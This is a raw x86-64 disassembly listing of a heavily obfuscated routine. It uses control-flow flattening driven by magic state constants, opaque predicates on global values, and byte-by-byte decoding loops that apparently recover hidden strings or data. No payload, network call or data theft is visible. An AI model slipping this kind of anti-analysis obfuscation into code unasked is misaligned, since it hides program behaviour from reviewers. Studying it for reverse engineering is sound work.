mov byte [rbp + 0x40], cl
mov al, byte [rbp + 0x40]
mov ecx, 0xf1444cee
jmp 0x14003ee36
mov byte [rbp + 0x78], al
mov al, byte [rbp + 0x78]
mov byte [rbp + 0x10], al
mov edx, 0x38f7cbab
jmp 0x14004099d
mov qword [rbp + 0x78], rax
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x19c139f2
mov ecx, 0x1727013
nop word [rax + rax]
cmove edx, ecx
cmp dword [0x1400611ac], 0xa
cmovl edx, ecx
cmp edx, 0x38f7cbaa
jg 0x1400409f0
cmp edx, 0xec67a32
jg 0x140040a40
cmp edx, 0xcfb8a971
jle 0x140040ae2
cmp edx, 0xcfb8a972
je 0x140040b03
cmp edx, 0x1727013
jne 0x14004099d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x3da7baa3
mov ecx, 0xcfb8a972
jmp 0x140040990
cmp edx, 0x5b912fe7
jg 0x140040aa0
cmp edx, 0x38f7cbab
je 0x140040b43
cmp edx, 0x3da7baa3
je 0x140040ba7
cmp edx, 0x47fda080
jne 0x14004099d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x19c139f2
mov ecx, 0x887818cb
jmp 0x140040990
cmp edx, 0xec67a33
je 0x14004096a
cmp edx, 0x19c139f2
je 0x140040bc0
cmp edx, 0x25a0008d
jne 0x14004099d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1400611ac], 0xa
setl dl
setge bl
xor bl, cl
and dl, cl
xor dl, bl
mov edx, 0x76b77b66
mov ecx, 0x5b912fe8
cmovne edx, ecx
jmp 0x14004099d
cmp edx, 0x5b912fe8
je 0x140040bd9
cmp edx, 0x6d6f1f68
je 0x140040be3
cmp edx, 0x76b77b66
jne 0x14004099d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x5b912fe8
mov ecx, 0x87ac07bd
jmp 0x140040990
cmp edx, 0x887818cb
jne 0x140040e61
cmp byte [rbp + 0x20], 0
mov edx, 0xec67a33
cmovne edx, edi
mov rax, qword [rbp + 0x50]
jmp 0x14004099d
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rcx, qword [rbp + 0x78]
add rcx, 1
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x50]
cmp rdx, rcx
sete byte [rbp + 0x20]
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x3da7baa3
mov ecx, 0x47fda080
jmp 0x140040990
mov rcx, qword [rbp + 0x40]
mov dl, byte [rbp + 0x10]
mov byte [rcx], dl
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 5]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
nop word cs:[rax + rax]
nop
cmp ebx, 0x1ce0437a
je 0x140040c33
cmp ebx, 0x28c014d3
jne 0x140040b70
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa5
and ecx, 0x5a
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x140040b70
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x38]
mov edx, 0xcfb8a972
jmp 0x14004099d
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x38]
mov edx, 0x1727013
jmp 0x14004099d
mov edx, 0x76b77b66
jmp 0x14004099d
mov rax, qword [rbp + 0x68]
movzx eax, byte [rax + 9]
mov qword [rbp + 0x80], rax
mov ecx, 0x28c014d3
nop word [rax + rax]
cmp ecx, 0x1ce0437a
je 0x140040c87
cmp ecx, 0x28c014d3
jne 0x140040c00
mov rax, qword [rbp + 0x80]
mov ecx, 0x9f
sub ecx, eax
add eax, 0x60
and ecx, 0xa9
and eax, 0x56
or eax, ecx
mov ecx, 0x1ce0437a
jmp 0x140040c00
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 1], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 6]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
cmp ebx, 0x1ce0437a
je 0x140040ce3
cmp ebx, 0x28c014d3
jne 0x140040c50
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa6
and ecx, 0x59
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x140040c50
mov byte [rbp + 0x58], al
mov al, byte [rbp + 0x58]
mov rcx, qword [rbp + 0x28]
mov byte [rcx], al
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 0xa]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop dword [rax + rax]
cmp edx, 0x1ce0437a
je 0x140040d33
cmp edx, 0x28c014d3
jne 0x140040cb0
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xaa
and ecx, 0x55
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x140040cb0
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 2], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 7]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
cmp ebx, 0x1ce0437a
je 0x140040d83
cmp ebx, 0x28c014d3
jne 0x140040d00
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa7
and ecx, 0x58
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x140040d00
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 0xb]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
cmp edx, 0x1ce0437a
je 0x140040dd3
cmp edx, 0x28c014d3
jne 0x140040d50
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xab
and ecx, 0x54
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x140040d50
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 3], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 8]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
cmp ebx, 0x1ce0437a
je 0x140040e23
cmp ebx, 0x28c014d3
jne 0x140040da0
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa8
and ecx, 0x57
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x140040da0
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 0xc]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
cmp edx, 0x1ce0437a
je 0x140040e3e
cmp edx, 0x28c014d3
jne 0x140040df0
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xac
and ecx, 0x53
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x140040df0
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 4], cl
add rdx, 5
mov qword [rbp + 0x28], rdx
mov edx, 0x6d6f1f68
jmp 0x14004099d
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rax + 3], cl
add rax, 4
mov rcx, qword [rbp + 0x48]
add rcx, 0x19
mov qword [rbp + 0x38], rcx
mov edx, 0xec67a33
jmp 0x14004099d
cmp edx, 0x87ac07bd
jne 0x14004099d
mov qword [rbp - 0x18], rsp
mov eax, 0xcb20867c
jmp 0x140040e9e
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6115bb99
mov ecx, 0x45ebc2ad
cmove eax, ecx
cmp dword [0x1400611b4], 0xa
cmovl eax, ecx
cmp eax, 0x2f769c9c
jg 0x140040f10
cmp eax, 0xdc0d7d96
jle 0x140040f60
cmp eax, 0xdc0d7d97
je 0x140041c48
cmp eax, 0xde195c3a
je 0x140042901
cmp eax, 0xfc1bd0dd
jne 0x140040e9e
mov eax, dword [0x1400611b0]
mov ecx, dword [0x1400611b4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setge bl
xor bl, al
mov eax, 0xc99c3b22
mov ebx, 0x6720f4d5
cmovne eax, ebx
cmp ecx, 0xa
mov ecx, 0xc99c3b22
cmovl eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x140040e9e
cmp eax, 0x5e279dda
jle 0x140040f90
cmp eax, 0x5e279ddb
je 0x14004290b
cmp eax, 0x6115bb99
je 0x140042929
cmp eax, 0x6720f4d5
jne 0x140040e9e
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2f769c9d
mov ecx, 0xdc0d7d97
jmp 0x140040e91
cmp eax, 0xc99c3b22
je 0x140040e78
cmp eax, 0xcb20867c
jne 0x140044240
mov qword [rbp + 0x10], r9
mov eax, 0xfc1bd0dd
jmp 0x140040e9e
cmp eax, 0x2f769c9d
je 0x1400435b0
cmp eax, 0x45ebc2ad
jne 0x140040e9e
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x14004100d
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop dword [rax]
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x140041070
cmp eax, 0x3d27c40e
jle 0x1400410d0
cmp eax, 0x69d5c2bd
jg 0x140041185
cmp eax, 0x4b18584e
jle 0x1400412af
cmp eax, 0x62dd269b
jg 0x140041467
cmp eax, 0x4b18584f
je 0x140041725
cmp eax, 0x5f2b4794
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0x56ab6a0
jmp 0x140041000
cmp eax, 0xb7633e00
jg 0x140041130
cmp eax, 0x9a0207dc
jle 0x1400411c2
cmp eax, 0xa1a955d0
jle 0x1400412da
cmp eax, 0xaef00e70
jg 0x1400414b8
cmp eax, 0xa1a955d1
je 0x140041755
cmp eax, 0xa4c297a2
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x140041000
cmp eax, 0x28f8e7f9
jle 0x14004121b
cmp eax, 0x3548ed16
jle 0x140041319
cmp eax, 0x383d24c3
jg 0x1400414d8
cmp eax, 0x3548ed17
je 0x140041789
cmp eax, 0x38010efa
jne 0x14004100d
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x140041000
cmp eax, 0xd4c9a55c
jle 0x140041265
cmp eax, 0xe3e2d3b2
jle 0x14004134f
cmp eax, 0xe8bf1131
jg 0x14004150c
cmp eax, 0xe3e2d3b3
je 0x140041793
cmp eax, 0xe8706593
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x140041000
cmp eax, 0x74ef2dd8
jle 0x14004138e
cmp eax, 0x7862d6f4
jg 0x140041540
cmp eax, 0x74ef2dd9
je 0x14004179d
cmp eax, 0x76a01761
jne 0x14004100d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x14004100d
cmp eax, 0x8cbae95a
jle 0x1400413b9
cmp eax, 0x9771075a
jle 0x140041710
cmp eax, 0x9771075b
je 0x1400417a7
cmp eax, 0x988c5a5b
jne 0x14004100d
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x14004100d
cmp eax, 0x9e52667
jg 0x1400413e4
cmp eax, 0xf130480a
je 0x1400417b5
cmp eax, 0xf8282498
je 0x1400417c3
cmp eax, 0x56ab6a0
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x140041000
cmp eax, 0xcec14fc6
jg 0x140041423
cmp eax, 0xb7633e01
je 0x1400417d9
cmp eax, 0xbd590664
je 0x1400417e7
cmp eax, 0xca2aa47c
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x140041000
cmp eax, 0x3d27c40f
je 0x140041805
cmp eax, 0x3d57c85c
je 0x140041823
cmp eax, 0x4049e1a1
jne 0x14004100d
mov eax, 0x3065742d
jmp 0x14004100d
cmp eax, 0x9a0207dd
je 0x140041841
cmp eax, 0x9a93d6f7
je 0x140040fd4
cmp eax, 0x9d093714
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x140041000
cmp eax, 0x28f8e7fa
je 0x14004184b
cmp eax, 0x3065742d
je 0x140041869
cmp eax, 0x32a3cf92
jne 0x14004100d
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x14004100d
cmp eax, 0xd4c9a55d
je 0x14004189b
cmp eax, 0xd4ce6052
je 0x1400418a9
cmp eax, 0xdf71f794
jne 0x14004100d
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14004100d
cmp eax, 0x69d5c2be
je 0x1400418c7
cmp eax, 0x72fc1027
je 0x1400418f1
cmp eax, 0x746a711d
jne 0x14004100d
mov eax, 0x56ab6a0
jmp 0x14004100d
cmp eax, 0x8582c309
je 0x14004190f
cmp eax, 0x89a242b2
je 0x140041919
cmp eax, 0x8a63bb18
jne 0x14004100d
mov eax, 0x4b18584f
jmp 0x14004100d
cmp eax, 0x9e52668
je 0x140041937
cmp eax, 0x1dc66492
je 0x140041aed
cmp eax, 0x2753fdcb
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x140041000
cmp eax, 0xcec14fc7
je 0x140041af7
cmp eax, 0xd0cc8406
je 0x140041b01
cmp eax, 0xd42690e8
jne 0x14004100d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x14004100d
cmp eax, 0x62dd269c
je 0x140041b0b
cmp eax, 0x62e61b4c
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x14004100d
cmp eax, 0xaef00e71
je 0x140041b15
cmp eax, 0xb0c52422
jne 0x14004100d
mov eax, 0x32a3cf92
jmp 0x14004100d
cmp eax, 0x383d24c4
je 0x140041b3f
cmp eax, 0x39efa06e
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x140041000
cmp eax, 0xe8bf1132
je 0x140041b5d
cmp eax, 0xed3034e3
jne 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x140041000
cmp eax, 0x7862d6f5
je 0x140041b67
cmp eax, 0x7fa07399
jne 0x14004100d
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov edi, 0x1dd6f415
mov eax, 0xb97238e3
cmovne edi, eax
mov ecx, 0x13679cf1
jmp 0x140041620
mov ecx, 0xcbdf0816
nop word cs:[rax + rax]
nop
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x140041660
cmp eax, 0x2a0b524b
jle 0x140041680
mov ecx, ebx
cmp eax, 0x674ae438
je 0x140041620
mov ecx, edi
cmp eax, 0x7bae5e91
je 0x140041620
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x140041620
jmp 0x140041b90
cmp eax, 0xb97238e2
jg 0x1400416a0
cmp eax, 0x873bf760
je 0x14004160f
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x140041620
mov ecx, 0x7bae5e91
jmp 0x140041620
cmp eax, 0x13679cf1
je 0x1400416e2
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x140041620
mov ecx, 0xb97238e3
jmp 0x140041620
cmp eax, 0xb97238e3
je 0x140041704
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x140041620
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x140041620
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov r8d, 0x7bae5e91
cmovne ecx, r8d
test al, al
cmovne ecx, r8d
jmp 0x140041620
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x140041620
cmp eax, 0x91b9c7e8
jne 0x140041c14
mov eax, 0x3d27c40f
jmp 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8bf1132
mov ecx, 0x8a63bb18
cmovne eax, ecx
cmp dword [0x1400611bc], 0xa
mov ecx, 0xe8bf1132
cmovl eax, ecx
jmp 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setl dl
xor cl, dl
and al, dl
xor al, cl
mov eax, 0x3d57c85c
mov ecx, 0x74ef2dd9
cmovne eax, ecx
jmp 0x14004100d
mov eax, 0x383d24c4
jmp 0x14004100d
mov eax, 0x38010efa
jmp 0x14004100d
mov eax, 0x3d57c85c
jmp 0x14004100d
mov rax, qword [rbp + 0x68]
mov eax, 0xaef00e71
jmp 0x14004100d
mov rax, qword [rbp + 0x68]
mov eax, 0x89a242b2
jmp 0x14004100d
cmp byte [rbp + 0x37], 0
mov eax, 0xd4c9a55d
mov ecx, 0xd42690e8
cmovne eax, ecx
jmp 0x14004100d
mov rax, qword [rbp + 0x58]
mov eax, 0x69d5c2be
jmp 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x38010efa
jmp 0x140041000
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0xa4c297a2
jmp 0x140041000
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74ef2dd9
mov ecx, 0x5f2b4794
jmp 0x140041000
mov eax, 0x39efa06e
jmp 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x9a93d6f7
jmp 0x140041000
mov eax, 0x10
call fcn.14005ed70
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x58], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4049e1a1
mov ecx, 0x9a0207dd
jmp 0x140041000
mov rax, qword [rbp + 0x48]
mov eax, 0xe8706593
jmp 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91b9c7e8
mov ecx, 0x3d27c40f
jmp 0x140041000
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0xb0c52422
jmp 0x140041000
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x2753fdcb
jmp 0x140041000
mov eax, 0x8cbae95b
jmp 0x14004100d
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0xaef00e71
jmp 0x140041000
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
mov edx, ecx
xor dl, 1
and al, sil
or al, dl
xor al, cl
mov r8d, 0x1dd6f415
mov eax, 0xb97238e3
cmovne r8d, eax
mov ecx, 0x13679cf1
jmp 0x140041a00
mov ecx, 0xcbdf0816
nop word [rax + rax]
mov eax, ecx
cmp ecx, 0x13679cf0
jle 0x140041a40
cmp eax, 0x2a0b524b
jle 0x140041a60
mov ecx, ebx
cmp eax, 0x674ae438
je 0x140041a00
mov ecx, r8d
cmp eax, 0x7bae5e91
je 0x140041a00
mov ecx, eax
cmp eax, 0x2a0b524c
jne 0x140041a00
jmp 0x140041bde
cmp eax, 0xb97238e2
jg 0x140041a80
cmp eax, 0x873bf760
je 0x1400419f2
mov ecx, eax
cmp eax, 0x8c14fb0b
jne 0x140041a00
mov ecx, 0x7bae5e91
jmp 0x140041a00
cmp eax, 0x13679cf1
je 0x140041ac2
mov ecx, eax
cmp eax, 0x1dd6f415
jne 0x140041a00
mov ecx, 0xb97238e3
jmp 0x140041a00
cmp eax, 0xb97238e3
je 0x140041ae1
mov ecx, eax
cmp eax, 0xcbdf0816
jne 0x140041a00
mov rsi, qword [rbp + 0x50]
add rsi, r12
mov rax, qword [rbp + 0x50]
mov rdx, r14
xor rdx, rax
movabs rcx, 0x5b05d9cf414e41d1
xor rdx, rcx
and rdx, rax
add rdx, rdx
mov ecx, 0x2a0b524c
jmp 0x140041a00
movzx eax, byte [rbp + 0x76]
cmp byte [rbp + 0x77], 0
mov ecx, 0x8c14fb0b
mov edi, 0x7bae5e91
cmovne ecx, edi
test al, al
cmovne ecx, edi
jmp 0x140041a00
mov qword [rbp + 0x50], r15
mov ecx, r13d
jmp 0x140041a00
mov eax, 0x62e61b4c
jmp 0x14004100d
mov eax, 0xca2aa47c
jmp 0x14004100d
mov eax, 0xd4ce6052
jmp 0x14004100d
mov eax, 0x28f8e7fa
jmp 0x14004100d
mov rax, qword [rbp + 0x68]
cmp rax, 0x19
setb byte [rbp + 0x37]
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9771075b
mov ecx, 0x72fc1027
jmp 0x140041000
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0xbd590664
jmp 0x140041000
mov eax, 0xa1a955d1
jmp 0x14004100d
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x68], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x76a01761
mov ecx, 0xd0cc8406
jmp 0x140041000
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x62dd269c
jmp 0x140041000
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rdx
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
sub eax, ecx
add al, 0xa0
mov rcx, qword [rbp + 0x58]
mov rcx, qword [rcx]
mov byte [r11 + rcx], al
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7fa07399
jmp 0x14004100d
cmp eax, 0x8cbae95b
jne 0x14004100d
mov rax, qword [rbp + 0x40]
mov rsp, r10
mov qword [rbp + 0x20], rax
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6115bb99
mov ecx, 0x5e279ddb
jmp 0x140040e91
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x140041cad
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x140041d10
cmp eax, 0x3d27c40e
jle 0x140041d70
cmp eax, 0x69d5c2bd
jg 0x140041e25
cmp eax, 0x4b18584e
jle 0x140041f4f
cmp eax, 0x62dd269b
jg 0x140042107
cmp eax, 0x4b18584f
je 0x1400423c2
cmp eax, 0x5f2b4794
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0x56ab6a0
jmp 0x140041ca0
cmp eax, 0xb7633e00
jg 0x140041dd0
cmp eax, 0x9a0207dc
jle 0x140041e62
cmp eax, 0xa1a955d0
jle 0x140041f7a
cmp eax, 0xaef00e70
jg 0x140042158
cmp eax, 0xa1a955d1
je 0x1400423f2
cmp eax, 0xa4c297a2
jne 0x140041cad
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x140041ca0
cmp eax, 0x28f8e7f9
jle 0x140041ebb
cmp eax, 0x3548ed16
jle 0x140041fb9
cmp eax, 0x383d24c3
jg 0x140042178
cmp eax, 0x3548ed17
je 0x140042426
